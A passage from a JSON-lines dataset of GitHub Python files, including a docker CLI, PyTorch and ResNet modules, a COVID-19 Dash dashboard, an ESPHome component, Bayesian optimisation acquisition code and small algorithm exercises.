to add to your shell configuration.\n    \"\"\"\n    extra_env = (\n        {\"_CLICK_COMPLETION_COMMAND_CASE_INSENSITIVE_COMPLETE\": \"ON\"}\n        if case_insensitive\n        else {}\n    )\n    click.echo(click_completion.core.get_code(shell, extra_env=extra_env))\n\n\n@main.command()\ndef enter():\n    \"\"\"exec a fish shell in anysnake docker running from this folder. \n    Will prompt if there are multiple available\n    \"\"\"\n    import json\n    import sys\n\n    cwd = str(Path(\".\").absolute())\n    d, parsed = get_anysnake()\n    lines = subprocess.check_output([\"docker\", \"ps\"]).decode(\"utf-8\").split(\"\\n\")\n    candidates = []\n    for l in lines:\n        if d.docker_image in l:\n            docker_id = l[: l.find(\" \")]\n            info = json.loads(\n                subprocess.check_output([\"docker\", \"inspect\", docker_id]).decode(\n                    \"utf-8\"\n                )\n            )[0]\n            env = info.get(\"Config\", {}).get(\"Env\", {})\n            found = False\n            mode = \"??\"\n            for e in env:\n                e = e.split(\"=\", 1)\n                if e[0] == \"ANYSNAKE_PROJECT_PATH\" and e[1] == cwd:\n                    found = True\n                elif e[0] == \"ANYSNAKE_MODE\":\n                    mode = e[1]\n            if found:\n                # if mode in ('run','??', 'jupyter'):\n                candidates.append((docker_id, info.get(\"Name\", \"?\"), mode))\n    if len(candidates) == 0:\n        print(\"No docker to enter found\")\n        sys.exit(0)\n    elif len(candidates) == 1:\n        print(\"Entering only available docker\")\n        pass\n    else:\n        print(\"Pick one\")\n        for (ii, (docker_id, name, mode)) in enumerate(candidates):\n            print(ii, name, mode)\n        chosen = sys.stdin.readline().strip()\n        chosen = int(chosen)\n        candidates = [candidates[ii]]\n    if candidates:\n        print(\"Entering \", candidates[0][1])\n        cmd = [\"docker\", \"exec\", \"-it\", candidates[0][0], \"fish\"]\n        p = subprocess.Popen(cmd)\n        p.communicate()\n        sys.exit(0)\n\n    # print(d.docker_image)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"MarcoMernberger/msnake","sub_path":"src/msnake/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":16826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29195775689","text":"# -*- coding: utf8 -*-\n\n#\n\nfrom torch import nn\n\nfrom src.model.dropout import SharedDropout\n\n\nclass MLP(nn.Module):\n    def __init__(self, n_in, n_out, dropout=0, activation=True):\n        super(MLP, self).__init__()\n        self.n_in = n_in\n        self.n_out = n_out\n\n        self.linear = nn.Linear(n_in, n_out)\n        self.activation = nn.LeakyReLU(negative_slope=0.1) if activation else nn.Identity()\n        self.dropout = SharedDropout(p=dropout)\n        self.reset_parameters()\n\n    def forward(self, x):\n        x = self.linear(x)\n        x = self.activation(x)\n        x = self.dropout(x)\n        return x\n\n    def reset_parameters(self):\n        nn.init.orthogonal_(self.linear.weight)\n        nn.init.zeros_(self.linear.bias)\n","repo_name":"geasyheart/biaffine_ner","sub_path":"src/model/mlp.py","file_name":"mlp.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"2575250547","text":"import itertools\nimport threading\nfrom typing import Callable, Optional\n\n\nclass StreamingService:\n    \"\"\"Encapsulates a Fluent streaming service.\"\"\"\n\n    _service_id = itertools.count()\n\n    def __init__(self, stream_begin_method, target, streaming_service):\n        \"\"\"__init__ method of StreamingService class.\"\"\"\n        self._lock: threading.RLock = threading.RLock()\n        self._streaming: bool = False\n        self._id = f\"stream-{next(StreamingService._service_id)}\"\n        self._stream_begin_method = stream_begin_method\n        self._target = target\n        self._streaming_service = streaming_service\n        self._stream_thread: Optional[threading.Thread] = None\n        self._service_callback_id = itertools.count()\n        self._service_callbacks: dict = {}\n\n    @property\n    def is_streaming(self):\n        \"\"\"Checks whether it is streaming.\"\"\"\n        with self._lock:\n            return self._streaming\n\n    def register_callback(self, call_back: Callable, *args, **kwargs) -> str:\n        \"\"\"Register the callback.\n\n        Parameters\n        ----------\n        call_back : Callable\n            Callback to register.\n\n        Returns\n        -------\n        str\n            Registered callback ID.\n        \"\"\"\n        with self._lock:\n            callback_id = f\"{next(self._service_callback_id)}\"\n            self._service_callbacks[callback_id] = [call_back, args, kwargs]\n            return callback_id\n\n    def unregister_callback(self, callback_id: str):\n        \"\"\"Unregister the callback.\n\n        Parameters\n        ----------\n        callback_id : str\n            ID of the registered callback.\n        \"\"\"\n        with self._lock:\n            if callback_id in self._service_callbacks:\n                del self._service_callbacks[callback_id]\n\n    def start(self, *args, **kwargs) -> None:\n        \"\"\"Start streaming of Fluent transcript.\"\"\"\n        with self._lock:\n            if not self.is_streaming:\n                self._prepare()\n                started_evt = threading.Event()\n                self._stream_thread = threading.Thread(\n                    target=self._target,\n                    args=(\n                        self,\n                        self._id,\n                        self._stream_begin_method,\n                        started_evt,\n                        *args,\n                    ),\n                    kwargs=kwargs,\n                )\n                self._stream_thread.start()\n                started_evt.wait()\n                self._streaming = True\n\n    def stop(self) -> None:\n        \"\"\"Stop streaming of Fluent transcript.\"\"\"\n        if self.is_streaming:\n            self._streaming_service.end_streaming(self._id, self._stream_begin_method)\n            self._stream_thread.join()\n            self._streaming = False\n            self._stream_thread = None\n\n    def refresh(self, session_id, event_info) -> None:\n        \"\"\"Refresh stream.\n\n        Parameters\n        ----------\n        session_id : str\n            Name of the monitor set.\n        event_info : object\n            Event info object.\n\n        Returns\n        -------\n        None\n        \"\"\"\n        with self._lock_refresh:\n            self.stop()\n            self.start()\n\n    def _prepare(self):\n        pass  # Currently only used by monitor services.\n","repo_name":"ansys/pyfluent","sub_path":"src/ansys/fluent/core/streaming_services/streaming.py","file_name":"streaming.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","stars":175,"dataset":"github-code","pt":"3"}
+{"seq_id":"34843680859","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('events', '0009_event_event_type'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='event',\n            name='ubication',\n            field=models.CharField(default=b'', max_length=500),\n        ),\n    ]\n","repo_name":"Actime/events","sub_path":"migrations/0010_event_ubication.py","file_name":"0010_event_ubication.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38862013619","text":"#! /usr/bin/env python3\n\nfrom extractData import * \nimport random \n\nselectedCountries = [\"Australia\",\n                    # \"Italy\",\n                    \"Japan\",\n                    \"Singapore\",\n                    \"Norway\",  \n                    # \"South Korea\",\n                    \"United Kingdom\",\n                    # \"United States\"\n                    ]\nremovedCountries = [\"China\"]\n\nselectedCountriesBySize = randomCountriesBasedonSize(10, \n\t\t\t\t\t\t\t\t# size=[\"A\", \"B\", \"C\",\"D\"],\n                                randomOrNot=False\n\t\t\t\t\t\t\t\t# listRemoval = removedCountries,\n\t\t\t\t\t\t\t\t# listAddition = []\n\t\t\t\t\t\t\t\t)\n# selectedCountries = selectedCountriesBySize[0] ##chose Group A\nprint (selectedCountriesBySize)\n\n\n## Ref: https://plotly.com/python/line-charts/\nimport plotly.graph_objects as go\n\nfig = go.Figure()\nfig2 = go.Figure()\nfig3 = go.Figure()\nfig4 = go.Figure()\nfig5 = go.Figure() \n\ngrouping=0\nfor group in selectedCountriesBySize: \n    color = getColor(grouping)\n    grouping=grouping+1\n    for country in group:\n        pop = getPopulation(country)\n        df = combineData(country)\n\n        # print(df)\n        \n        lastAvailrow = 0\n        for i in pd.notna(df[\"Accum\"]).tolist():\n        \tif i: \n        \t\tlastAvailrow +=1\n        \telse: \n        \t\tbreak\n        # print(country, lastAvailrow, len(df[\"Accum\"]))\n        # print([\"\" for i in range(43)]+[country])\n\n        # stringency = getStringency(country).values[0] \n        stringency = getStringency(country)[country].tolist()\n        # print(stringency)\n        markerSize = [i/100*50 for i in stringency] \n        # print (country, lastAvailrow, len(markerSize))\n\n        fig.add_trace(go.Scatter(\n            x=df[\"Accum\"], \n            y=df[\"New\"], \n            text = [\"\" for i in range(lastAvailrow-11)]+[country],\n            textposition=\"bottom right\",\n            mode='markers+text',\n            marker=dict(color=color\n                        # colorscale=\"Rainbow\"\n                        # line = dict(\n                        #     color = 'rgb(27, 42, 74)',\n                        #     width = 2)\n                        ),\n            name=country\n            ))\n        \n        fig2.add_trace(go.Scatter(\n            x=df[\"Accum\"]/pop*100000, \n            y=df[\"New\"]/pop*100000, \n            text = [\"\" for i in range(lastAvailrow-11)]+[country],\n            textposition=\"bottom right\",\n            mode='markers+text',\n            marker=dict(\n                        color=color\n                        # colorscale=\"Viridis\"\n                        # line = dict(\n                        #     color = 'rgb(27, 42, 74)',\n                        #     width = 2)\n                        ),\n            name=country\n            ))\n\n        fig3.add_trace(go.Scatter(\n            x=df[\"Trailing7DayAccumCases\"]/pop*100000, \n            y=df[\"Trailing7DayNewCases\"]/pop*100000, \n            text = [\"\" for i in range(lastAvailrow-11)]+[country],\n            textposition=\"bottom right\",\n            mode='markers+text',\n            marker=dict(\n                        color=color,\n                        # colorscale=\"Viridis\"\n                        line = dict(\n                            color = color,\n                            width = 1)\n                        ),\n            name=country\n            ))\n\n        fig4.add_trace(go.Scatter(\n            x=df[\"Trailing7DayAccumCases\"], \n            y=df[\"Trailing7DayNewCases\"], \n            text = [\"\" for i in range(lastAvailrow-11)]+[country],\n            textposition=\"bottom right\",\n            mode='markers+text',\n            marker=dict(\n                        color=color\n                        # colorscale=\"Viridis\"\n                        # line = dict(\n                        #     color = 'rgb(27, 42, 74)',\n                        #     width = 2)\n                        ),\n            name=country\n            ))\n\n        fig5.add_trace(go.Scatter(\n            x=df[\"Trailing7DayAccumCases\"]/pop*100000, \n            y=df[\"Trailing7DayNewCases\"]/pop*100000, \n            text = [\"\" for i in range(lastAvailrow-11)]+[country],\n            textposition=\"bottom right\",\n            mode='lines+markers+text',\n            marker=dict(\n                        color=color,\n                        size = markerSize,\n                        # colorscale=\"Viridis\"\n                        line = dict(\n                            color = color,\n                            width = 1)\n                        ),\n            name=country\n            ))\n\nfig.update_layout(\n    autosize=True,\n    height=750,\n\tmargin={\"r\":100,\"t\":80,\"l\":50,\"b\":80}, \n    showlegend=True,\n    legend_title='<b> Countries: </b>',\n    legend_orientation=\"v\",\n\ttitle='Countries: '+ ', '.join(map(str, selectedCountriesBySize)),\n    xaxis_type=\"log\", yaxis_type=\"log\",\n    xaxis_title='Accumulated Cases',\n    yaxis_title='Daily New Cases'\n\t)\n\nfig2.update_layout(\n    autosize=True,\n    height=750,\n    margin={\"r\":100,\"t\":80,\"l\":50,\"b\":80}, \n    showlegend=True,\n    legend_title='<b> Countries: </b>',\n    legend_orientation=\"v\",\n    title='Countries: '+ ', '.join(map(str, selectedCountriesBySize)),\n    xaxis_type=\"log\", yaxis_type=\"log\",\n    xaxis_title='Accumulated Cases/100,000 pax of country\\'s population',\n    yaxis_title='Daily New Cases/100,000 pax of country\\'s population'\n    )\n\nfig3.update_layout(\n    autosize=True,\n    height=750,\n    margin={\"r\":100,\"t\":80,\"l\":50,\"b\":80}, \n    showlegend=True,\n    legend_title='<b> Countries: </b>',\n    legend_orientation=\"v\",\n    title='Countries: '+ ', '.join(map(str, selectedCountriesBySize)),\n    xaxis_type=\"log\", yaxis_type=\"log\",\n    xaxis_title='7-Day Trailing Accumulated Cases/100,000 pax of country\\'s population',\n    yaxis_title='7-Day Trailing Daily New Cases/100,000 pax of country\\'s population'\n    )\n\nfig5.update_layout(\n    autosize=True,\n    height=750,\n    margin={\"r\":100,\"t\":80,\"l\":50,\"b\":80}, \n    showlegend=True,\n    legend_title='<b> Countries: </b>',\n    legend_orientation=\"v\",\n    title='Countries: '+ ', '.join(map(str, selectedCountriesBySize)),\n    xaxis_type=\"log\", yaxis_type=\"log\",\n    xaxis_title='7-Day Trailing Accumulated Cases/100,000 pax of country\\'s population',\n    yaxis_title='7-Day Trailing Daily New Cases/100,000 pax of country\\'s population'\n    )\n\nfig4.update_layout(\n    autosize=True,\n    height=750,\n    margin={\"r\":100,\"t\":80,\"l\":50,\"b\":80}, \n    showlegend=True,\n    legend_title='<b> Countries: </b>',\n    legend_orientation=\"v\",\n    title='Countries: '+ ', '.join(map(str, selectedCountriesBySize)),\n    xaxis_type=\"log\", yaxis_type=\"log\",\n    xaxis_title='7-Day Trailing Accumulated Cases',\n    yaxis_title='7-Day Trailing Daily New Cases'\n    )\n\n## Ref: https://dash.plotly.com/layout\n\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\n\n\n# external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\nexternal_stylesheets = ['https://codepen.io/kle-pra/pen/xkuEt.css']\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\ncolors = {\n    'background': '#111111',\n    'text': '#7FDBFF'\n}\n\napp.layout = html.Div(\n\tstyle={\n        'backgroundColor': colors['background']}, \n\tchildren=[\n    html.H1(children='#StayHome #StaySafe',\n    \tstyle={\n            'textAlign': 'center',\n            'color': colors['text']\n        }),\n\n    html.Div([\n        dcc.Graph(\n            id='covid19world',\n            figure=fig\n        )], style={'textAlign': 'center', 'position':'relative'}),\n\n    html.Div([\n        dcc.Graph(\n            id='covid19worldPrev',\n            figure=fig2\n        )], style={'textAlign': 'center', 'position':'relative'}),\n\n    html.Div([\n        dcc.Graph(\n            id='covid19worldT7',\n            figure=fig4\n        )], style={'textAlign': 'center', 'position':'relative'}),\n\n    html.Div([\n        dcc.Graph(\n            id='covid19worldPrevT7',\n            figure=fig3\n        )], style={'textAlign': 'center', 'position':'relative'}),\n\n    html.Div([\n        dcc.Graph(\n            id='covid19worldPrevT7wLines',\n            figure=fig5\n        )], style={'textAlign': 'center', 'position':'relative'})\n\n])\n\napp.run_server(debug=True)","repo_name":"zhix/Covid19Msia","sub_path":"Analysis/WorldData/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8248436505","text":"import torch.nn as nn\nimport torch.nn.functional as F\nfrom models.arch_util import initialize_weights\n\n\nclass ResnetBlock(nn.Module):\n    \"\"\"Define a Resnet block\"\"\"\n\n    def __init__(self, dim, padding_type, norm_layer, use_dropout, use_bias):\n        \"\"\"Initialize the Resnet block\n        A resnet block is a conv block with skip connections\n        We construct a conv block with build_conv_block function,\n        and implement skip connections in <forward> function.\n        Original Resnet paper: https://arxiv.org/pdf/1512.03385.pdf\n        \"\"\"\n        super(ResnetBlock, self).__init__()\n        self.conv_block = self.build_conv_block(dim, padding_type, norm_layer, use_dropout, use_bias)\n\n    def build_conv_block(self, dim, padding_type, norm_layer, use_dropout, use_bias):\n        \"\"\"Construct a convolutional block.\n        Parameters:\n            dim (int)           -- the number of channels in the conv layer.\n            padding_type (str)  -- the name of padding\n                                   layer: reflect | replicate | zero\n            norm_layer          -- normalization layer\n            use_dropout (bool)  -- if use dropout layers.\n            use_bias (bool)     -- if the conv layer uses bias or not\n        Returns a conv block (with a conv layer, a normalization layer,\n                              and a non-linearity layer (ReLU))\n        \"\"\"\n        conv_block = []\n        p = 0\n        if padding_type == \"reflect\":\n            conv_block += [nn.ReflectionPad2d(1)]\n        elif padding_type == \"replicate\":\n            conv_block += [nn.ReplicationPad2d(1)]\n        elif padding_type == \"zero\":\n            p = 1\n        else:\n            raise NotImplementedError(\n                f\"padding {padding_type} \\\n                                        is not implemented\"\n            )\n\n        conv_block += [nn.Conv2d(dim, dim, kernel_size=3, padding=p, bias=use_bias), norm_layer(dim), nn.ReLU(True)]\n        if use_dropout:\n            conv_block += [nn.Dropout(0.5)]\n\n        p = 0\n        if padding_type == \"reflect\":\n            conv_block += [nn.ReflectionPad2d(1)]\n        elif padding_type == \"replicate\":\n            conv_block += [nn.ReplicationPad2d(1)]\n        elif padding_type == \"zero\":\n            p = 1\n        else:\n            raise NotImplementedError(\n                f\"padding {padding_type} \\\n                                      is not implemented\"\n            )\n        conv_block += [nn.Conv2d(dim, dim, kernel_size=3, padding=p, bias=use_bias), norm_layer(dim)]\n\n        return nn.Sequential(*conv_block)\n\n    def forward(self, x):\n        \"\"\"Forward function (with skip connections)\"\"\"\n        out = x + self.conv_block(x)  # add skip connections\n        return out\n\n\nclass ResidualBlock_noBN(nn.Module):\n    \"\"\"Residual block w/o BN\n    ---Conv-ReLU-Conv-+-\n     |________________|\n    \"\"\"\n\n    def __init__(self, nf=64):\n        super(ResidualBlock_noBN, self).__init__()\n        self.conv1 = nn.Conv2d(nf, nf, 3, 1, 1, bias=True)\n        self.conv2 = nn.Conv2d(nf, nf, 3, 1, 1, bias=True)\n\n        # initialization\n        initialize_weights([self.conv1, self.conv2], 0.1)\n\n    def forward(self, x):\n        identity = x\n        out = F.relu(self.conv1(x), inplace=False)\n        out = self.conv2(out)\n        return identity + out\n","repo_name":"VinAIResearch/blur-kernel-space-exploring","sub_path":"models/backbones/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":3307,"program_lang":"python","lang":"en","doc_type":"code","stars":125,"dataset":"github-code","pt":"3"}
+{"seq_id":"41106544236","text":"import voluptuous as vol\n\nfrom esphome import automation\nfrom esphome.components import cover\nimport esphome.config_validation as cv\nfrom esphome.const import CONF_CLOSE_ACTION, CONF_CLOSE_DURATION, CONF_ID, CONF_NAME, \\\n    CONF_OPEN_ACTION, CONF_OPEN_DURATION, CONF_STOP_ACTION\nfrom esphome.cpp_generator import Pvariable, add\nfrom esphome.cpp_helpers import setup_component\nfrom esphome.cpp_types import App, Component\n\nTimeBasedCover = cover.cover_ns.class_('TimeBasedCover', cover.Cover, Component)\n\nPLATFORM_SCHEMA = cv.nameable(cover.COVER_PLATFORM_SCHEMA.extend({\n    cv.GenerateID(): cv.declare_variable_id(TimeBasedCover),\n    vol.Required(CONF_STOP_ACTION): automation.validate_automation(single=True),\n\n    vol.Required(CONF_OPEN_ACTION): automation.validate_automation(single=True),\n    vol.Required(CONF_OPEN_DURATION): cv.positive_time_period_milliseconds,\n\n    vol.Required(CONF_CLOSE_ACTION): automation.validate_automation(single=True),\n    vol.Required(CONF_CLOSE_DURATION): cv.positive_time_period_milliseconds,\n}).extend(cv.COMPONENT_SCHEMA.schema))\n\n\ndef to_code(config):\n    rhs = App.register_component(TimeBasedCover.new(config[CONF_NAME]))\n    var = Pvariable(config[CONF_ID], rhs)\n    cover.register_cover(var, config)\n    setup_component(var, config)\n\n    automation.build_automations(var.get_stop_trigger(), [],\n                                 config[CONF_STOP_ACTION])\n\n    add(var.set_open_duration(config[CONF_OPEN_DURATION]))\n    automation.build_automations(var.get_open_trigger(), [],\n                                 config[CONF_OPEN_ACTION])\n\n    add(var.set_close_duration(config[CONF_CLOSE_DURATION]))\n    automation.build_automations(var.get_close_trigger(), [],\n                                 config[CONF_CLOSE_ACTION])\n\n\nBUILD_FLAGS = '-DUSE_TIME_BASED_COVER'\n","repo_name":"TroiNguy3n/esphome","sub_path":"esphome/components/cover/time_based.py","file_name":"time_based.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9227144585","text":"\"\"\"\nWhen we plot the data, if a straight line is not fitting in between the data points then it might be the polynomial regression\n In simple words we can say that if data is not distributed linearly then it might be for polynomial regression.\n Polynomial Regression is a regression algorithm that explains the relationship between a dependent(y) and independent variable(x) as nth degree polynomial.\n\nIf we apply a linear model on a linear dataset, then it provides us a good result as we have seen in Simple Linear Regression.\n If we apply the same model without any modification on a non-linear dataset, then it will  produce a drastic output.\n Due to this,\no Loss function will increase\no The error rate will be high\no Accuracy will be decreased.\n\nFormulas:\nSimple Linear Regression equation\n y = b0+b1x\n\nMultiple Linear Regression equation\n y= b0+b1x+ b2x2+ b3x3+....+ bnxn\n\nPolynomial Regression equation\n y= b0+b1x+b2X^2+b3X^3+...\n\n\"\"\"\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import PolynomialFeatures\n\ndf= pd.read_csv('../data/poly_dataset.csv')\nprint(df)\nprint(df.shape)\nprint(df.isna().sum())\nX= df.iloc[:,1:2].values\nprint(X)\ny= df.iloc[:,2].values\nprint(y)\n\n# Model Training\nreg= LinearRegression()\nreg.fit(X,y)\nprint(\"Model got trained\")\n\n# plt.scatter(X, y, color=\"blue\")\n# plt.plot(X, reg.predict(X), color=\"red\")\n# plt.title(\"Linear Regression\")\n# plt.xlabel(\"Position Levels\")\n# plt.ylabel(\"Salary\")\n# plt.show()\n\npoly_reg= PolynomialFeatures(degree=5)\nX_poly=poly_reg.fit_transform(X)\nlin_reg= LinearRegression()\nlin_reg.fit(X_poly,y)\nprint(\"Fitting the Polynomial regression to the dataset \")\n\n# Plotting Polynomial Regression\nplt.scatter(X,y,color='blue')\nplt.plot(X, lin_reg.predict(poly_reg.fit_transform(X)), color=\"red\")\nplt.title(\"Polynomial Regression\")\nplt.xlabel(\"Position Levels\")\nplt.ylabel(\"Salary\")\nplt.show()\n\npoly_pred = lin_reg.predict(poly_reg.fit_transform([[6.5]]))\nprint(poly_pred)\n\nprint(reg.predict([[6.5]]))\n","repo_name":"abataviya/DataScience_Projects","sub_path":"src/ML_algorithms/polynomial_reg.py","file_name":"polynomial_reg.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14742370794","text":"from jax import numpy as np\nfrom jax import jit, vjp, random\nfrom jax.scipy.special import expit as sigmoid\nimport numpy as onp\nfrom functools import partial\nfrom pyDOE import lhs\nfrom tqdm import trange\n\nfrom rpn_bo_optimizers import minimize_lbfgs\n\nclass MCAcquisition:\n    def __init__(self, posterior, bounds, *args, \n                acq_fn = 'LCB', output_weights=lambda x: np.ones(x.shape[0])):  \n        self.posterior = posterior\n        self.bounds = bounds            # domain bounds\n        self.args = args                # arguments required by different acquisition functions\n        self.acq_fn = acq_fn            # a string indicating the chosen acquisition function\n        self.weights = output_weights   # a callable function returning the likelihood weighted weights\n\n    def evaluate(self, x):\n        # Inputs are (q x d), use vmap to vectorize across a batch\n        # samples[:,:,0]  corresponds to the objective function\n        # samples[:,:,1:] corresponds to the constraints\n        # samples[:,:,i] are (ensemble_size x q)\n        q = x.shape[0]\n        # Common acquisition functions\n        if self.acq_fn == 'EI':\n            best = self.args[0]\n            samples = self.posterior(x)[:,:,0]\n            reparam = np.maximum(best-samples, 0)\n            EI = np.mean(np.max(reparam, axis=-1))\n            return -EI\n        elif self.acq_fn == 'LCB':\n            kappa = self.args[0]\n            samples = self.posterior(x)[:,:,0]\n            mu = np.mean(samples, axis=0, keepdims=True)\n            weights = self.weights(x).reshape(1,q)\n            reparam = mu - np.sqrt(0.5*np.pi*kappa) * weights * np.abs(samples - mu)\n            LCB = np.mean(np.min(reparam, axis=-1))\n            return LCB\n        elif self.acq_fn == 'TS':\n            rng_key = self.args[0]\n            samples = self.posterior(x)[:,:,0]\n            idx = random.randint(rng_key, (1,), minval=0, maxval=samples.shape[0])\n            reparam = samples[idx,:].reshape(1,q)\n            TS = np.mean(np.min(reparam, axis=-1))\n            return TS\n        elif self.acq_fn == 'US':\n            samples = self.posterior(x)[:,:,0]\n            mu = np.mean(samples, axis=0, keepdims=True)            \n            weights = self.weights(x).reshape(1,q)\n            reparam = np.sqrt(0.5*np.pi) * weights * np.abs(samples - mu)\n            US = np.mean(np.max(reparam, axis=-1))\n            return -US\n        elif self.acq_fn == 'CLSF':\n            kappa = self.args[0]\n            samples = self.posterior(x)[:,:,0]\n            mu = np.mean(samples, axis=0, keepdims=True)\n            weights = self.weights(x).reshape(1,q)\n            reparam = np.abs(np.sqrt(0.5*np.pi) / (np.abs(mu)**(1.0/kappa) + 1e-8) * weights * np.abs(samples - mu))\n            CLSF = np.mean(np.max(reparam, axis=-1))\n            return -np.log(CLSF)\n\n        # Constrained acquisition functions\n        elif self.acq_fn == 'EIC':\n            best = self.args[0]\n            samples = self.posterior(x)\n            # Objective\n            objective = samples[:,:,0]\n            reparam = np.maximum(best-objective, 0)\n            EI = np.mean(np.max(reparam, axis=-1))\n            # Constraints\n            constraints = samples[:,:,1:]\n            indicator = sigmoid(constraints/1e-6) # a smooth indicator function\n            feasible = np.prod(np.mean(np.max(indicator, axis=1), axis=0))\n            return -EI*feasible\n        elif self.acq_fn == 'LCBC':\n            kappa = self.args[0]\n            threshold = self.args[1]\n            samples = self.posterior(x)\n            # Objective\n            objective = samples[:,:,0]\n            mu = np.mean(objective, axis=0, keepdims=True)\n            weights = self.weights(x).reshape(1,q)\n            reparam = mu - threshold - np.sqrt(0.5*np.pi*kappa) * weights * np.abs(objective - mu)\n            LCB = np.mean(np.min(reparam, axis=-1))\n            # Constraints\n            constraints = samples[:,:,1:] # (ensemble_size x q)\n            indicator = sigmoid(constraints/1e-6) # a smooth indicator function\n            feasible = np.prod(np.mean(np.max(indicator, axis=1), axis=0))\n            return LCB*feasible\n        \n        # That's all for now..\n        else:\n            raise NotImplementedError\n\n    @partial(jit, static_argnums=(0,))\n    def acq_value_and_grad(self, inputs):\n        primals, f_vjp = vjp(self.evaluate, inputs)\n        grads = f_vjp(np.ones_like(primals))[0]\n        return primals, grads\n\n    # optimization is performed in the normalized input space\n    def next_best_point(self, q = 1, num_restarts = 10, seed_id=0, maxfun=15000):\n        lb, ub = self.bounds   \n        dim = lb.shape[0]\n        # Define objective that returns float64 NumPy arrays\n        def objective(x):\n            x = x.reshape(q, dim)\n            value, grads = self.acq_value_and_grad(x)\n            out = (onp.array(value, dtype=onp.float64), \n                   onp.array(grads.flatten(), dtype=onp.float64))\n            return out\n        # Optimize with random restarts\n        loc, acq = [], []\n        onp.random.seed(seed_id)\n        init = lb + (ub-lb)*lhs(dim, q*num_restarts)\n        x0 = init.reshape(num_restarts, q, dim)\n        dom_bounds = tuple(map(tuple, np.tile(np.vstack((lb, ub)).T,(q,1))))\n        for i in trange(num_restarts):\n            pos, val = minimize_lbfgs(objective, x0[i,:,:].flatten(), bnds = dom_bounds, maxfun=maxfun)\n            loc.append(pos)\n            acq.append(val)\n        loc = np.vstack(loc)\n        acq = np.vstack(acq)\n        idx_best = np.argmin(acq)\n        x_new = loc[idx_best,:]\n        return x_new\n","repo_name":"bhouri0412/rpn_bo","sub_path":"Code and results/rpn_bo_acquisitions.py","file_name":"rpn_bo_acquisitions.py","file_ext":"py","file_size_in_byte":5600,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"16209391806","text":"from typing import List\nfrom randomList import randomList\n\n\nclass Solution:\n    def insert_sort(self, nums: List[int]) -> List[int]:\n        if len(nums) <= 1:\n            return nums\n        for right in range(1, len(nums)):\n            target = nums[right]\n            for left in range(0, right):\n                if nums[left] > target:\n                    nums[left + 1: right + 1] = \\\n                        nums[left: right]\n                    nums[left] = target\n                    break\n            print(f\"第{right}轮排序结果: {nums}\")\n        return nums\n\n\nif __name__ == '__main__':\n    s = Solution()\n    nums = randomList.randomList(10)\n    print(f\"插入原始数据: {nums}\")\n    result = s.insert_sort(nums)\n    print(f\"插入排序完成: {result}\")\n","repo_name":"1642195610/backup_data","sub_path":"data_zgd/python进阶/10.20/插入排序.py","file_name":"插入排序.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"41582152545","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution:\n    def nextLargerNodes(self, head: Optional[ListNode]) -> List[int]:\n        temp=head\n        c=0\n        while temp:\n            c+=1\n            temp=temp.next\n        ans=[0]*c\n        st=[]\n        ptr=head\n        i=0\n        while ptr:\n            while st and ptr.val > st[-1][0]:\n                tem,indx=st.pop()\n                ans[indx]=ptr.val\n            st.append([ptr.val,i])\n            i+=1\n            ptr=ptr.next\n            \n        return ans\n                \n        \n            ","repo_name":"Ararsa-Derese/competitive-programming-","sub_path":"1019-next-greater-node-in-linked-list/1019-next-greater-node-in-linked-list.py","file_name":"1019-next-greater-node-in-linked-list.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"34165313965","text":"import os\nimport sys\nfrom typing import List, Optional, Union, Dict\n\nimport pandas as pd\nimport uvicorn\nfrom fastapi import FastAPI, HTTPException\nfrom lightgbm import LGBMClassifier\nfrom sklearn.ensemble import RandomForestClassifier\n\nfrom src.entities import InputData, ModelResponse\nfrom src.validate import check_data_valid, CAT_FEATURES, NUM_FEATURES\nfrom src.utils import load_object, setup_logging, make_binary_prediction\nfrom src.preprocessing import extract_features\n\nClassificationModel = Union[LGBMClassifier, RandomForestClassifier]\n\nMODEL_CUTOFF = 0.48\nID_COLUMN = \"id\"\nPATH_TO_MODEL = \"./models/\"\n\nmodel: Optional[ClassificationModel] = None\ntransformers: Optional[Dict] = None\n\nlogger = setup_logging()\napp = FastAPI()\n\n\ndef make_prediction(\n    data: List[InputData], model: ClassificationModel, transformers: Dict\n) -> List[ModelResponse]:\n\n    data_for_model = pd.DataFrame(instance.__dict__ for instance in data)[\n        CAT_FEATURES + NUM_FEATURES\n    ]\n    ids = [instance.__getattribute__(ID_COLUMN) for instance in data]\n\n    logger.info(f\"Creating features\")\n    X = extract_features(\n        data_for_model, CAT_FEATURES, NUM_FEATURES, transformers, mode=\"transform\"\n   